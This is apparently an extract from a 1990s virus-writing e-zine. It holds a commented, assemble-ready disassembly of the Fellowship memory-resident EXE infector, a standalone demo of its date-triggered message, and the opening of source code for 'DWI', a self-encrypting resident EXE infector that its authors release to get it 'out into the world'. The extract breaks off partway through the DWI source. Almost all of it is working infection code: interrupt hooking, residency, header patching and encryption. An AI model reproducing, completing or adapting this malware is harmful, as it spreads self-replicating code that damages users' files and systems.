|
|||
|
sti
|
|||
|
|
|||
|
mov bx, word ptr cs:[si+jmpsave]
|
|||
|
add bx, ax
|
|||
|
push bx
|
|||
|
|
|||
|
mov bx, word ptr cs:[si+jmpsave+2]
|
|||
|
add bx, ax
|
|||
|
push bx
|
|||
|
|
|||
|
retf
|
|||
|
jmpsave dd ? ; Original CS:IP
|
|||
|
stacksave dd ? ; Original SS:SP
|
|||
|
jmpsave2 dd 0fff00000h ; Needed for carrier file
|
|||
|
stacksave2 dd ?
|
|||
|
===========================================================================
|
|||
|
|
|||
|
This is the final code we put into DWI and VioLite2. Not pretty, but
|
|||
|
the damn thing works. With no self-modifying code that relies on the
|
|||
|
prefetch, there isn't an easy way for this to crash...
|
|||
|
======================================
|
|||
|
Disassembly of the Fellowship Virus
|
|||
|
By The Attitude Adjuster
|
|||
|
======================================
|
|||
|
|
|||
|
Well, I thought that I should just continue disassembling whatever
|
|||
|
I could find, as part of that 'keeping up my skills.' I found this,
|
|||
|
decided that it was a piece of uneventful and thouroghly boring, and none
|
|||
|
the more bug free code, and decided that you should have it...
|
|||
|
|
|||
|
It seems to have a semi-unique way of organization during the
|
|||
|
memory residency... the loading of the host again, etc... also, there is
|
|||
|
a tiny bit of debugger resistance, but, this tactic could be expanded
|
|||
|
upon to create huge amounts of hell for non-protected mode debuggers.
|
|||
|
|
|||
|
Really, this thing shouldn't work... if it follows theory, it
|
|||
|
should eat all available handles on the system after a few (more for us
|
|||
|
with higher FILES= settings) infections...
|
|||
|
|
|||
|
This is what Patti says... notice, this is an EXE infector, yet one
|
|||
|
of the symptoms is COM growth! Wild... I never found that subroutine while
|
|||
|
I was disassembling...
|
|||
|
|
|||
|
==========================================================================
|
|||
|
Virus Name: Fellowship
|
|||
|
Aliases: 1022, Better World, Fellow
|
|||
|
V Status: Rare
|
|||
|
Discovered: July, 1990
|
|||
|
Isolated: Australia
|
|||
|
Symptoms: TSR; .COM & .EXE file growth
|
|||
|
Origin: Malaysia
|
|||
|
Eff Length: 1,019 - 1,027 Bytes
|
|||
|
Type Code: PRsE - Parasitic Resident .EXE Infector
|
|||
|
Detection Method: ViruScan, F-Prot, NAV, IBM Scan, AVTK, Novi, Sweep,
|
|||
|
CPAV, UTScan, VirexPC, Gobbler2, VBuster, AllSafe,
|
|||
|
ViruSafe, UTScan, Trend, Iris, VNet, Panda, VET,
|
|||
|
Detect+, IBMAV, DrVirus, Vi-Spy,
|
|||
|
NShld, LProt, CPAV/N, Sweep/N
|
|||
|
Removal Instructions: CleanUp, F-Prot, NAV, or delete infected files
|
|||
|
|
|||
|
General Comments:
|
|||
|
The Fellowship or 1022 virus was isolated in Australia in July 1990.
|
|||
|
Fellowship is a memory resident generic infector of .EXE files. It
|
|||
|
does not infect .COM or overlay files.
|
|||
|
|
|||
|
The first time a program infected with the Fellowship virus is
|
|||
|
executed, the virus will install itself memory resident as a 2,048
|
|||
|
byte TSR in low system memory. Available free memory will be
|
|||
|
decreased by a corresponding 2,048 bytes. Interrupt 21 will also
|
|||
|
now be controlled by the virus.
|
|||
|
|
|||
|
After the virus is memory resident, the virus will infect .EXE files
|
|||
|
when they are executed. Infected .EXE files will increase in size
|
|||
|
by between 1,019 and 1,027 bytes. The virus's code will be located
|
|||
|
at the end of infected files.
|
|||
|
|
|||
|
Infected files will contain the following text strings very close to
|
|||
|
the end of the file:
|
|||
|
|
|||
|
"This message is dedicated to
|
|||
|
all fellow PC users on Earth
|
|||
|
Toward A Better Tomorrow
|
|||
|
And A Better Place To Live In"
|
|||
|
|
|||
|
"03/03/90 KV KL MAL"
|
|||
|
|
|||
|
This virus is believed to have originated in Kuala Lumpur, Malaysia.
|
|||
|
==========================================================================
|
|||
|
; Disassembly of the Fellowship Virus, done by The Attitude Adjuster for
|
|||
|
; Infectious Diseases Issue 3.
|
|||
|
|
|||
|
; For a byte-for-byte matchup, assemble as follows:
|
|||
|
; tasm fellow /m2
|
|||
|
; tlink fellow
|
|||
|
|
|||
|
.model tiny
|
|||
|
.code
|
|||
|
org 000h
|
|||
|
start:
|
|||
|
mov ax, 0D000h ; RUTHERE call
|
|||
|
int 21h
|
|||
|
cmp bx, 1234h
|
|||
|
jne installvirus ; if not...
|
|||
|
|
|||
|
mov bx, es
|
|||
|
add bx, 10h ; account for PSP
|
|||
|
add word ptr cs:[oldcsip+2], bx ; add to CS
|
|||
|
jmp dword ptr cs:[oldcsip] ; get there...
|
|||
|
|
|||
|
ninthflag db 0
|
|||
|
|
|||
|
paramblock: ; need defs? get a
|
|||
|
envsegment dw 0CE4h ; DOS manual...
|
|||
|
cmdlineoffset db 80h, 00h
|
|||
|
cmdlinesegment dw 12C9h
|
|||
|
fcb1offset db 5Ch, 00h
|
|||
|
fcb1segment dw 12C9h
|
|||
|
fcb2offset db 6Ch, 00h
|
|||
|
fcb2segment dw 12C9h
|
|||
|
loadpoint dw 0
|
|||
|
|
|||
|
oldcsip dd 0FFF00000h
|
|||
|
|
|||
|
installvirus:
|
|||
|
cld ; !!!
|
|||
|
cli
|
|||
|
push es
|
|||
|
|
|||
|
mov bx, es
|
|||
|
add bx, 10h ; account for PSP
|
|||
|
mov es, bx ; ES = 1st EXE Seg
|
|||
|
|
|||
|
xor bx, bx
|
|||
|
mov ds, bx ; DS = 0000
|
|||
|
|
|||
|
push word ptr ds:[0000] ; save ssi vector
|
|||
|
push word ptr ds:[0002] ; save ssi vector
|
|||
|
|
|||
|
mov word ptr ds:[0000], 0A5F3h ; set ssi vector
|
|||
|
mov byte ptr ds:[0002], 0CFh ; 0CF00:0A5F3h
|
|||
|
|
|||
|
xor si, si
|
|||
|
mov di, si
|
|||
|
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
|
|||
|
mov ax, 64h ; program entry
|
|||
|
mov cx, endwrite-start ; zopy ieterations
|
|||
|
pushf ; fake an interrupt
|
|||
|
push es ; return to 1st seg
|
|||
|
push ax
|
|||
|
|
|||
|
db 0EAh ; jmp far ptr 0:0000
|
|||
|
db 00h, 00h, 00h, 00h
|
|||
|
|
|||
|
; on the fake interrupt call, control is transferred to 0000:0000,
|
|||
|
; which contains
|
|||
|
|
|||
|
; rep movsb
|
|||
|
; iret
|
|||
|
|
|||
|
; the movsb takes care of copying the virus to offset 0000 of the
|
|||
|
; 1st EXE segment, and then the iret returns the virus to the
|
|||
|
; entry point below!
|
|||
|
|
|||
|
trueentry:
|
|||
|
xor ax, ax
|
|||
|
mov ds, ax
|
|||
|
|
|||
|
pop word ptr ds:[0000] ; restore ssi vector
|
|||
|
pop word ptr ds:[0002]
|
|||
|
|
|||
|
sti ; finally... yeesh!
|
|||
|
|
|||
|
pop es ; PSP segment
|
|||
|
mov bx, 80h
|
|||
|
mov ax, 4A00h ; decrease allocation
|
|||
|
int 21h ; of PSP segment
|
|||
|
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov ax, es
|
|||
|
|
|||
|
mov cmdlinesegment, ax ; construct exec
|
|||
|
mov fcb1segment, ax ; parameter block
|
|||
|
mov fcb2segment, ax ; (see block above)
|
|||
|
mov ax, es:[002Ch]
|
|||
|
mov envsegment, ax
|
|||
|
|
|||
|
mov ax, 3521h ; get int 21h vector
|
|||
|
int 21h
|
|||
|
|
|||
|
mov word ptr ds:[Old21], bx ; save vector
|
|||
|
mov word ptr ds:[Old21+2], es
|
|||
|
|
|||
|
mov dx, offset int_21h_entry ; set int 21h vectr
|
|||
|
mov ax, 2521h
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ah, 2Ah ; get date
|
|||
|
int 21h
|
|||
|
|
|||
|
cmp dh, 9 ; the ninth?
|
|||
|
jne dontsetflag
|
|||
|
or byte ptr cs:[ninthflag], 1 ; flop that flipper
|
|||
|
dontsetflag:
|
|||
|
cli
|
|||
|
mov es, envsegment ; environment segmnt
|
|||
|
xor di, di
|
|||
|
mov cx, 0FFFFh
|
|||
|
mov al, 0
|
|||
|
cld
|
|||
|
searchloop:
|
|||
|
repne scasb ; scan until we
|
|||
|
cmp es:[di], al ; meet a dupe of
|
|||
|
jne searchloop ; ourselves!
|
|||
|
|
|||
|
mov dx, di
|
|||
|
add dx, 3
|
|||
|
|
|||
|
push es ; DS = PSP segment
|
|||
|
pop ds
|
|||
|
|
|||
|
mov bx, cs ; stack in us
|
|||
|
mov ss, bx ; might clear ints!!
|
|||
|
mov es, bx
|
|||
|
mov sp, 44Bh ; stack at 44bh
|
|||
|
mov bx, offset paramblock
|
|||
|
mov ax, 4B00h ; load + exec host
|
|||
|
pushf ; fake int 21h
|
|||
|
sti
|
|||
|
call dword ptr cs:[Old21]
|
|||
|
|
|||
|
mov es, cs:[envsegment] ; release memory
|
|||
|
mov ax, 4900h
|
|||
|
int 21h
|
|||
|
|
|||
|
mov dx, 80h ; terminate and keep
|
|||
|
mov ax, 3100h ; us resident!
|
|||
|
int 21h
|
|||
|
|
|||
|
filesave dw 469h, 74Bh
|
|||
|
old24 dw 156h, 74Bh
|
|||
|
savedvalu1 dw 8E0h
|
|||
|
savedvalu2 dw 0
|
|||
|
oldattr dw 20h
|
|||
|
readbuffer db 4Dh
|
|||
|
db 5Ah, 0DBh, 00h, 07h, 00h, 00h
|
|||
|
db 00h, 20h, 00h, 00h, 00h, 0FFh
|
|||
|
db 0FFh, 00h, 00h, 00h, 00h
|
|||
|
negativechksm dw 1990h
|
|||
|
db 00h, 00h, 6Eh, 00h, 3Eh
|
|||
|
db 39 dup (0)
|
|||
|
|
|||
|
int_24h_entry:
|
|||
|
xor al, al
|
|||
|
iret
|
|||
|
|
|||
|
int_21h_entry:
|
|||
|
cmp ax, 0D000h ; RUTHERE?
|
|||
|
jne checkforexecute ; No...
|
|||
|
mov bx, 1234h
|
|||
|
iret
|
|||
|
|
|||
|
checkforexecute:
|
|||
|
cmp ax, 4B00h ; load + execute?
|
|||
|
je yeahyeahbaby ; yepparoo
|
|||
|
|
|||
|
db 0EAh ; jmp far orig 21h
|
|||
|
old21 db 9Eh, 10h, 16h, 01h
|
|||
|
|
|||
|
dw ?, ? ; ?!?
|
|||
|
|
|||
|
yeahyeahbaby:
|
|||
|
push bp ; save caller's
|
|||
|
push ax ; registers
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push di
|
|||
|
push si
|
|||
|
push es
|
|||
|
push ds
|
|||
|
test byte ptr cs:[ninthflag], 1 ; test that flipper
|
|||
|
jz notflagged
|
|||
|
jmp itstheninthhoney
|
|||
|
|
|||
|
notflagged:
|
|||
|
mov word ptr cs:[filesave], dx ; save file seg:ofs
|
|||
|
mov word ptr cs:[filesave+2], ds
|
|||
|
mov si, dx
|
|||
|
|
|||
|
mov ah, 19h ; get default drive
|
|||
|
int 21h
|
|||
|
mov dl, al ; drive code in DL
|
|||
|
|
|||
|
cmp byte ptr [si+1], 3Ah ; 2nd letter a ":"
|
|||
|
jne notonanotherdisk
|
|||
|
|
|||
|
mov dl, byte ptr [si] ; get letter
|
|||
|
sub dl, 'A' ; reduce to d-code
|
|||
|
notonanotherdisk:
|
|||
|
inc dl ; add 1, differing fc
|
|||
|
mov ah, 36h ; get free space
|
|||
|
int 21h
|
|||
|
|
|||
|
cmp ax, 0FFFFh ; error?
|
|||
|
je getthefuckback
|
|||
|
|
|||
|
xor dx, dx
|
|||
|
mul bx ; avail. sectors
|
|||
|
mul cx ; avail. bytes
|
|||
|
|
|||
|
cmp ax, 7D0h ; enough left?
|
|||
|
jae enoughleftdoit
|
|||
|
|
|||
|
or dx, dx ; more than 65535?
|
|||
|
jnz enoughleftdoit
|
|||
|
|
|||
|
getthefuckback:
|
|||
|
pop ds ; restore caller's
|
|||
|
pop es ; registers
|
|||
|
pop si
|
|||
|
pop di
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
pop bp
|
|||
|
mov ax, 4B00h
|
|||
|
jmp dword ptr cs:[Old21] ; go to old 21h
|
|||
|
|
|||
|
enoughleftdoit:
|
|||
|
cld
|
|||
|
les di, dword ptr cs:[filesave] ; ES:DI = File seg:ofs
|
|||
|
mov cx, 0FFFFh
|
|||
|
mov al, 0
|
|||
|
repne scasb ; hunt out end
|
|||
|
|
|||
|
mov al, es:[di-2]
|
|||
|
and al, 5Fh ; capitalize
|
|||
|
cmp al, 45h ; 'E'
|
|||
|
jne getthefuckback ; non an EXE!
|
|||
|
|
|||
|
lds dx, dword ptr cs:[filesave] ; DS:DX = File seg:ofs
|
|||
|
mov ax, 3D00h ; open file
|
|||
|
int 21h
|
|||
|
jc getthefuckback
|
|||
|
|
|||
|
mov bx, ax ; !!!
|
|||
|
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
|
|||
|
mov dx, offset readbuffer ; read exe header
|
|||
|
mov cx, 1Ch
|
|||
|
mov ax, 3F00h
|
|||
|
int 21h
|
|||
|
jc closeitupandleave ; oh, the sins...
|
|||
|
|
|||
|
cmp word ptr [negativechksm], 1990h ; infected?
|
|||
|
jne getonwithit
|
|||
|
closeitupandleave:
|
|||
|
mov ax, 3E00h ; close file
|
|||
|
int 21h
|
|||
|
jmp short getthefuckback
|
|||
|
|
|||
|
getonwithit:
|
|||
|
mov ax, 3524h ; get int 24h vector
|
|||
|
int 21h
|
|||
|
|
|||
|
mov word ptr [Old24], bx ; save it
|
|||
|
mov word ptr [Old24+2], es
|
|||
|
|
|||
|
mov dx, offset int_24h_entry ; set int 24f vector
|
|||
|
mov ax, 2524h
|
|||
|
int 21h
|
|||
|
|
|||
|
lds dx, dword ptr filesave ; DS:DX = file seg:ofs
|
|||
|
mov ax, 4300h
|
|||
|
int 21h ; get attributes
|
|||
|
jc whatapity ; to err is computer
|
|||
|
|
|||
|
mov word ptr cs:[oldattr], cx ; save attributes
|
|||
|
|
|||
|
and cx, 0FEh ; blank the boring
|
|||
|
mov ax, 4301h
|
|||
|
int 21h ; change attributes
|
|||
|
jnc nowramitinthere
|
|||
|
whatapity:
|
|||
|
lds dx, dword ptr cs:[Old24] ; restore int 24h
|
|||
|
mov ax, 2524h ; vector
|
|||
|
int 21h
|
|||
|
jmp getthefuckback
|
|||
|
|
|||
|
nowramitinthere:
|
|||
|
cld
|
|||
|
sti
|
|||
|
|
|||
|
lds dx, dword ptr cs:[filesave] ; DS:DX = file seg:ofs
|
|||
|
mov ax, 3D02h ; open read/write
|
|||
|
int 21h
|
|||
|
jc whatapity
|
|||
|
|
|||
|
mov bx, ax ; !!!
|
|||
|
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
|
|||
|
mov cx, 200h ; 512 (bytes per par)
|
|||
|
|
|||
|
mov si, offset readbuffer ; header!
|
|||
|
|
|||
|
mov ax, [si+16h] ; initial CS
|
|||
|
mov word ptr [oldcsip+2], ax
|
|||
|
|
|||
|
mov ax, [si+14h] ; initial IP
|
|||
|
mov word ptr [oldcsip], ax
|
|||
|
|
|||
|
mov ax, [si+4] ; paragraphs
|
|||
|
cmp word ptr [si+2], 0 ; bizzare quirk
|
|||
|
je notquirky
|
|||
|
dec ax
|
|||
|
notquirky:
|
|||
|
mul cx ; dx:ax = bytes
|
|||
|
|
|||
|
add ax, [si+2] ; add modulo
|
|||
|
adc dx, 0
|
|||
|
|
|||
|
add ax, 0Fh ; add 16 mo'
|
|||
|
adc dx, 0
|
|||
|
|
|||
|
and ax, 0FFF0h
|
|||
|
|
|||
|
mov word ptr [savedvalu1], ax ; save new CS:IP
|
|||
|
mov word ptr [savedvalu2], dx ; (still in bytes!!)
|
|||
|
|
|||
|
add ax, endwrite-start ; add virus length
|
|||
|
adc dx, 0
|
|||
|
|
|||
|
div cx ; cx in paragraphs
|
|||
|
or dx, dx
|
|||
|
jz notquirkier
|
|||
|
inc ax ; quirk again
|
|||
|
notquirkier:
|
|||
|
mov [si+4], ax ; replace paragraphs
|
|||
|
mov [si+2], dx ; replace modulo
|
|||
|
|
|||
|
mov ax, word ptr [savedvalu1] ; load saved CS:IP
|
|||
|
mov dx, word ptr [savedvalu2] ; (still in bytes!!)
|
|||
|
|
|||
|
mov cx, 10h ; paragraphs
|
|||
|
div cx
|
|||
|
|
|||
|
sub ax, [si+8] ; loose header size
|
|||
|
|
|||
|
mov [si+16h], ax ; replace IP
|
|||
|
mov ax, 0
|
|||
|
mov [si+14h], ax ; replace cs
|
|||
|
mov word ptr [si+12h], 1990h ; show as infected
|
|||
|
|
|||
|
mov dx, word ptr [savedvalu1] ; move to end as
|
|||
|
mov cx, word ptr [savedvalu2] ; shown by header
|
|||
|
mov ax, 4200h
|
|||
|
int 21h
|
|||
|
|
|||
|
mov cx, endwrite-start ; write the virus!
|
|||
|
mov dx, offset ds:[0]
|
|||
|
mov ax, 4000h ; !!!
|
|||
|
int 21h
|
|||
|
jc thisistheendmyonlyfriend ; an error, this far?
|
|||
|
|
|||
|
xor cx, cx ; seek top
|
|||
|
mov dx, cx ; !!!
|
|||
|
mov ax, 4200h
|
|||
|
int 21h
|
|||
|
|
|||
|
mov dx, offset readbuffer ; write buffer
|
|||
|
mov cx, 1Ch
|
|||
|
mov ax, 4000h
|
|||
|
int 21h
|
|||
|
|
|||
|
thisistheendmyonlyfriend:
|
|||
|
mov ax, 3E00h ; close file
|
|||
|
int 21h
|
|||
|
|
|||
|
lds dx, dword ptr [filesave] ; DS:DX = File Seg:ofs
|
|||
|
|
|||
|
mov cx, cs:[oldattr] ; restore attribs
|
|||
|
mov ax, 4301h
|
|||
|
int 21h
|
|||
|
jmp whatapity ; restore int 24h
|
|||
|
|
|||
|
savemode db 0
|
|||
|
charcolor db 0
|
|||
|
|
|||
|
nicemessage1 db 'This message is dedicated to $'
|
|||
|
nicemessage2 db 'all fellow PC users on Earth $'
|
|||
|
nicemessage3 db ' Towards A Better Tomorrow $'
|
|||
|
nicemessage4 db 'And A Better Place To Live In $'
|
|||
|
|
|||
|
itstheninthhoney:
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov ah, 0Fh ; get video mode
|
|||
|
int 10h
|
|||
|
|
|||
|
mov byte ptr [savemode], al ; save mode
|
|||
|
|
|||
|
mov ax, 5 ; set mode 40x25
|
|||
|
int 10h
|
|||
|
|
|||
|
mov byte ptr [charcolor], 1
|
|||
|
|
|||
|
mov dh, 9
|
|||
|
call setcursor
|
|||
|
|
|||
|
mov dx, offset nicemessage1
|
|||
|
call printstring
|
|||
|
|
|||
|
mov dh, 0Ah
|
|||
|
call setcursor
|
|||
|
|
|||
|
mov dx, offset nicemessage2
|
|||
|
call printstring
|
|||
|
|
|||
|
mov byte ptr [charcolor], 2
|
|||
|
|
|||
|
mov dh, 0Ch
|
|||
|
call setcursor
|
|||
|
|
|||
|
mov dx, offset nicemessage3
|
|||
|
call printstring
|
|||
|
|
|||
|
mov dh, 0Dh
|
|||
|
call setcursor
|
|||
|
|
|||
|
mov dx, offset nicemessage4
|
|||
|
call printstring
|
|||
|
|
|||
|
mov cx, 0FFFFh ; kill time
|
|||
|
killloop:
|
|||
|
lodsb
|
|||
|
loop killloop
|
|||
|
|
|||
|
xor ax, ax ; wait fo' a key
|
|||
|
int 16h
|
|||
|
|
|||
|
mov al, byte ptr [savemode] ; restore old mode
|
|||
|
mov ah, 0 ; on the vid
|
|||
|
int 10h
|
|||
|
jmp getthefuckback ; GO HOME!
|
|||
|
|
|||
|
printstring:
|
|||
|
cld
|
|||
|
mov si, dx
|
|||
|
printloop:
|
|||
|
lodsb
|
|||
|
cmp al, '$'
|
|||
|
je alldoneprinting ; end of string
|
|||
|
|
|||
|
mov ah, 0Eh ; write a byte
|
|||
|
mov bh, 0 ; to tha' vid
|
|||
|
mov bl, byte ptr [charcolor]
|
|||
|
int 10h
|
|||
|
|
|||
|
jmp short printloop
|
|||
|
alldoneprinting:
|
|||
|
ret
|
|||
|
|
|||
|
setcursor:
|
|||
|
mov dl, 5 ; set cursor pos
|
|||
|
mov ah, 2
|
|||
|
mov bh, 0
|
|||
|
int 10h
|
|||
|
ret
|
|||
|
|
|||
|
db ' 03/03/90 KV KL MAL ' ; whee...
|
|||
|
endwrite:
|
|||
|
end start
|
|||
|
==========================================================================
|
|||
|
; Stand alone demonstration of the Fellowship Virus activation routine.
|
|||
|
|
|||
|
; Assemble with:
|
|||
|
; tasm fbomb /m2
|
|||
|
; tlinl fbomb /t
|
|||
|
|
|||
|
.model tiny
|
|||
|
.code
|
|||
|
org 0100h
|
|||
|
start:
|
|||
|
jmp short itstheninthhoney
|
|||
|
|
|||
|
savemode db 0
|
|||
|
charcolor db 0
|
|||
|
|
|||
|
nicemessage1 db 'This message is dedicated to $'
|
|||
|
nicemessage2 db 'all fellow PC users on Earth $'
|
|||
|
nicemessage3 db ' Towards A Better Tomorrow $'
|
|||
|
nicemessage4 db 'And A Better Place To Live In $'
|
|||
|
|
|||
|
itstheninthhoney:
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov ah, 0Fh ; get video mode
|
|||
|
int 10h
|
|||
|
|
|||
|
mov byte ptr [savemode], al ; save mode
|
|||
|
|
|||
|
mov ax, 5 ; set mode 40x25
|
|||
|
int 10h
|
|||
|
|
|||
|
mov byte ptr [charcolor], 1
|
|||
|
|
|||
|
mov dh, 9
|
|||
|
call setcursor
|
|||
|
|
|||
|
mov dx, offset nicemessage1
|
|||
|
call printstring
|
|||
|
|
|||
|
mov dh, 0Ah
|
|||
|
call setcursor
|
|||
|
|
|||
|
mov dx, offset nicemessage2
|
|||
|
call printstring
|
|||
|
|
|||
|
mov byte ptr [charcolor], 2
|
|||
|
|
|||
|
mov dh, 0Ch
|
|||
|
call setcursor
|
|||
|
|
|||
|
mov dx, offset nicemessage3
|
|||
|
call printstring
|
|||
|
|
|||
|
mov dh, 0Dh
|
|||
|
call setcursor
|
|||
|
|
|||
|
mov dx, offset nicemessage4
|
|||
|
call printstring
|
|||
|
|
|||
|
mov cx, 0FFFFh ; kill time
|
|||
|
killloop:
|
|||
|
lodsb
|
|||
|
loop killloop
|
|||
|
|
|||
|
xor ax, ax ; wait fo' a key
|
|||
|
int 16h
|
|||
|
|
|||
|
mov al, byte ptr [savemode] ; restore old mode
|
|||
|
mov ah, 0 ; on the vid
|
|||
|
int 10h
|
|||
|
int 20h
|
|||
|
|
|||
|
printstring:
|
|||
|
cld
|
|||
|
mov si, dx
|
|||
|
printloop:
|
|||
|
lodsb
|
|||
|
cmp al, '$'
|
|||
|
je alldoneprinting ; end of string
|
|||
|
|
|||
|
mov ah, 0Eh ; write a byte
|
|||
|
mov bh, 0 ; to tha' vid
|
|||
|
mov bl, byte ptr [charcolor]
|
|||
|
int 10h
|
|||
|
|
|||
|
jmp short printloop
|
|||
|
alldoneprinting:
|
|||
|
ret
|
|||
|
|
|||
|
setcursor:
|
|||
|
mov dl, 5 ; set cursor pos
|
|||
|
mov ah, 2
|
|||
|
mov bh, 0
|
|||
|
int 10h
|
|||
|
ret
|
|||
|
|
|||
|
db ' 03/03/90 KV KL MAL ' ; whee...
|
|||
|
endwrite:
|
|||
|
end start
|
|||
|
==========================================================================
|
|||
|
|
|||
|
====================
|
|||
|
DWI Virus Source
|
|||
|
By The Attitude Adjuster and AccuPunk
|
|||
|
====================
|
|||
|
|
|||
|
Here's the source to one of our new older viruses... Both 'Punk and
|
|||
|
I did a little bit on this one, but, 'Punk thought it all up... I just
|
|||
|
kinda fucked around with the code when he said he was bored with it...
|
|||
|
Anyway, I can't really give you too much help here, as this code isn't at
|
|||
|
all the greatest, but, I include it to get this virus out into the world.
|
|||
|
|
|||
|
Umm, assemble two pass, and link to an EXE. Modfiy the header to
|
|||
|
make the maximum memory allocation equal to the minimum, and the fucker
|
|||
|
should run... I'm really not going to test it right now, mainly because
|
|||
|
it's late, and I AM releasing this tonight...
|
|||
|
|
|||
|
===========================================================================
|
|||
|
Virus Name: Damn Windows Idiot!
|
|||
|
Aliases: Anti-Windows
|
|||
|
Author(s): AccuPunk/The Attitude Adjuster
|
|||
|
Group: Virulent Graffiti
|
|||
|
Scan ID: [DWI]
|
|||
|
V Status: Abortion
|
|||
|
Discovery: Well, see, we were in LIST.COM and we saw this code...
|
|||
|
Symptoms: EXE growth; messages; something to do with WIN.COM
|
|||
|
Orgin: WestBumbleFuck, Ohio DipShitPeak, New York
|
|||
|
Eff Length: 1063 Bytes
|
|||
|
Res Length: 1280 Bytes
|
|||
|
Type Code: PRhE - Parasitic Resident EXE Infector
|
|||
|
Detection Method:
|
|||
|
Removal Instructions: Cry... Delete Windows... Increase wallet space,
|
|||
|
hire and Antivirus Professional ("...two words together that can't
|
|||
|
make sense!").
|
|||
|
|
|||
|
General Comments:
|
|||
|
|
|||
|
DWI will become resident after first checking for it's own
|
|||
|
presence in memory. DWI places itself into high memory, and
|
|||
|
changes it's MCB owner to the usual DOS MCB owner segment.
|
|||
|
This may be changed to retrive the DOS MCB owner from DOS,
|
|||
|
in the future, but this suffices at the present.
|
|||
|
|
|||
|
Int 21h is revectored to Int 30h where the virus uses it for
|
|||
|
DOS calls. The FAR PTR at Int 30h+1 is lost.
|
|||
|
|
|||
|
Upon the execution of any program using Int 21h/Ax=4B00h, DWI
|
|||
|
will check the file for an 'MZ' header, and if found, infect
|
|||
|
the file, leaving the time, date, and attributes of the file
|
|||
|
unchanged.
|
|||
|
|
|||
|
DWI seems to have an adverse effect on WIN.COM when it is run.
|
|||
|
|
|||
|
Other than the offensive WIN.COM program, DWI will not harm any
|
|||
|
data... If DESQView is found, the host system owner will be wired
|
|||
|
$100,000 for choosing a decent multitasking operating system...
|
|||
|
err... maybe not, but, we'll not screw any .COM files.
|
|||
|
|
|||
|
Strings Contained in the Virus:
|
|||
|
|
|||
|
'[DWI] AccuPunk/The Attitude Adjuster Virulent Graffiti'
|
|||
|
'WIN.COM'
|
|||
|
|
|||
|
Future Revision Notes:
|
|||
|
|
|||
|
There will probably be no future revisions of DWI. We may optomize
|
|||
|
it a little, and rip the engine for use in a planned virus, but,
|
|||
|
as I said, there will probably be no DWI-B.
|
|||
|
===========================================================================
|
|||
|
|
|||
|
; [][] [] [] [][][] "Damned Windows Idiot!" or Anti-Windows...
|
|||
|
; [] ][ [] [] []
|
|||
|
; [] [] [] [] [] An original Viral Artform by
|
|||
|
; [] [] [] [] [] [] AccuPunk and The Attitude Adjuster of
|
|||
|
; [] ][ [] ][][ [] [] Virulent Graffiti, 216/513/914/602/703!
|
|||
|
; [][] ][ ][ [][][]
|
|||
|
|
|||
|
; "Hey, you... with the shitty logo... Yeah, you! Get over here!"
|
|||
|
|
|||
|
.model tiny
|
|||
|
.code
|
|||
|
org 100h
|
|||
|
|
|||
|
id_word equ '1V' ; Marker Word
|
|||
|
; V1 in Lil' Endian
|
|||
|
entry:
|
|||
|
mov bx, offset endcrypt ; Virus Start
|
|||
|
mov cx, (end_write-endcrypt)/2 ; Ieterations
|
|||
|
Valu:
|
|||
|
mov dx, 0000h ; Xor Word
|
|||
|
Crypt_Loop:
|
|||
|
xor word ptr cs:[bx], dx ; Xor It (CS Ovr'rd)
|
|||
|
ror word ptr cs:[bx], 1 ; Roll it Right!
|
|||
|
inc bx
|
|||
|
inc bx
|
|||
|
loop Crypt_Loop
|
|||
|
EndCrypt:
|
|||
|
|
|||
|
push ds es ; Save Segments
|
|||
|
|
|||
|
push cs cs ; CS=DS=ES
|
|||
|
pop ds es
|
|||
|
|
|||
|
mov ax, 0ABCDh ; R-U-There?
|
|||
|
int 21h
|
|||
|
cmp ax, 6969h ; Ax=6969h Vir_Ident
|
|||
|
jne put_vir_in_mem ; No.
|
|||
|
|
|||
|
exit:
|
|||
|
pop es ds ; Restore Segments
|
|||
|
|
|||
|
mov ax, es ; AX = PSP segment
|
|||
|
add ax, 10h ; Adjust for PSP
|
|||
|
mov cx, ax
|
|||
|
|
|||
|
add ax, word ptr cs:[stacksave] ; Adjust SS
|
|||
|
|
|||
|
cli
|
|||
|
mov sp, word ptr cs:[stacksave+2] ; Set SP
|
|||
|
mov ss, ax ; Set SS
|
|||
|
sti
|
|||
|
|
|||
|
mov bx, word ptr cs:[jmpsave+2] ; Adjust CodeSeg
|
|||
|
add bx, cx
|
|||
|
push bx ; Save It
|
|||
|
|
|||
|
mov bx, word ptr cs:[jmpsave] ; Load IP
|
|||
|
push bx ; Save It
|
|||
|
|
|||
|
retf ; Exit Virus
|
|||
|
|
|||
|
jmpsave dd 0fff00000h ; Point to INT 20h
|
|||
|
stacksave dd ? ; Nada.
|
|||
|
|
|||
|
put_vir_in_mem:
|
|||
|
xor ax,ax ; Interrupt Table
|
|||
|
mov ds,ax
|
|||
|
les bx, dword ptr ds:[21h*4] ; Int 21h Vector
|
|||
|
|
|||
|
mov word ptr cs:[old_int_21], bx ; Save Int 21h
|
|||
|
mov word ptr ds:[30h*4],bx ; Revector 30h
|
|||
|
mov word ptr cs:[old_int_21+2], es
|
|||
|
mov word ptr ds:[30h*4+2], es
|
|||
|
|
|||
|
push cs cs ; Restore Segments
|
|||
|
pop es ds
|
|||
|
|
|||
|
mov ax, 5800h ; Get Mem Alloc
|
|||
|
int 21h
|
|||
|
|
|||
|
push ax ; Save Strategy
|
|||
|
|
|||
|
mov bx, 2
|
|||
|
mov ax, 5801h ; Set to Last Fit
|
|||
|
int 21h
|
|||
|
|
|||
|
mov bx, ((end_vir - entry) / 16) + 1
|
|||
|
mov ah, 48h ; Allocate Block
|
|||
|
int 21h
|
|||
|
|
|||
|
push ax ; Returned in AX
|
|||
|
sub ax, 10h ; Base Ofs 100h
|
|||
|
mov es, ax ; Our Segment
|
|||
|
|
|||
|
mov di, 100h ; Entry = 100h
|
|||
|
mov si, di ; Entry = 100h
|
|||
|
mov cx, end_write - entry ; Bytes to Zopy
|
|||
|
rep movsb
|
|||
|
|
|||
|
xor cx, cx ; Interrupt Table
|
|||
|
push cx
|
